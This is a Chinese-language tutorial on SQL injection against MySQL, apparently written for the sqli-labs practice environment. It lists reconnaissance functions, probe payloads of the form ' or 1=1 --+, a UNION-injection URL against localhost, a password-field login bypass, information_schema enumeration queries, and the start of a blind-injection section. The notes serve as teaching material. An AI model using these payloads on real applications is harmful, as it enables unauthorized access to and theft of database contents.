文章目录
一、系统函数
version()------------------------------------------mysql版本
user()---------------------------------------------数据库用户名
database()-----------------------------------------数据库名
@@datadir-------------------------------------------数据库路径
@@version_compile_os--------------------------------操作系统版本
二、字符串连接函数
concat(str1,str2,...)
//没有分隔符的连接字符串
concat_ws(separator,str1,str2,...)
//含有分隔符的连接字符串
group_concat(str1,str2,...)
//连接一个组的所有字符串,并以逗号分隔开
//这三个函数能一次性查出所有信息
三、一般用于尝试的语句
PS:–+可以用#替换,url的提交过程中#的url编码为%23
or 1=1 --+
' or 1=1 --+
" or 1=1 --+
) or 1=1 --+
') or 1=1 --+
") or 1=1 --+
")) or 1=1 --+
四、union操作符
union操作用于合并两个或者多个select语句的结果集。但是union内部的select语句必须有相同数里的列。列也必须拥有相似的数据类型。同时,每条select语句列的顺序也必须相同。
SQL UNION语法
select column_name(s) from teble_name 1 union select column_name(s) from table_name2
默认,union操作符选区不同的值。如果允许重复的值,得使用union all。
SQL UNION ALL语法
select column_name(s) from teble_name 1 union all select column_name(s) from table_name2
例:http://127.0.0.1/sqli/less-1/?id=-1’ union select 1,2, --+
当id的数据在数据库中不存在时(此时我们可以将id=-1,两个sql语句执行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的union的数据。
五、sql中的逻辑运算。
select * from admin where username='admin' and password='admin'
我们可以用’ or 1=1#作为密码输入。这样拼接构成的sql语句为:
select * from admin where username='admin' and password='' or 1=1#'
三个条件用and和or进行连接。在sql中and的运算优先级大于or的运算优先级。
第一个的条件结果为真,第二个的条件结果为假,它们经过and运算得到的结果为假,但是得到的结果又和第三个条件为真的结果进行或运算,最终得到的结果为真。因此上面的语句就为恒真式。
select * from users where id =1 and 1=1;
select * from users where id =1 && 1=1;
select * from users where id =1 & 1=1;
第一句与第二句是等价的,意思是id=1的条件与1=1条件进行与运算,第三句由于&的优先级大于=,因此意思为id=1条件与1进行与运算,运算结果为1.再进行等于操作(1=1)最终结果还是1。
六、数据库的存储形式
七、常用的数据库语句
show databases;
//列出存在的所有数据库名称
use security;
//选择我们想要的数据库
show tables;
//查看这个数据库下有哪些表
select schema_name from information_schema.schemata
//猜数据库
select table_name from information_schema.tables where table_schema='xxxxx'
//猜某库的数据表
select column_name from information_schema.columns where table_name = 'xxxxx'
//猜某表的所有列
select column_name from information_schema.columns where table_name = 'xxxxx'
//获取某列的内容
八、盲注
盲注就是在sql语句执行选择后,选择的数据不能回显到前端界面。这时候就需要利用一些方法进行判断或者尝试。
基于布尔的盲注
截取字符串相关函数
盲注的情况下往往需要一个一个字符的去猜解,过程中需要用到截取字符串。
1.mid()函数:
此函数为截取字符串一部分。
MID(column_name,start[,length])
//column_name:必须,需要提取字符的字段。
//start:必须。规定开始位置(起始值为1)。
//length:可选。要返回的字符数。如果省略,则mid()函数返回剩余文本。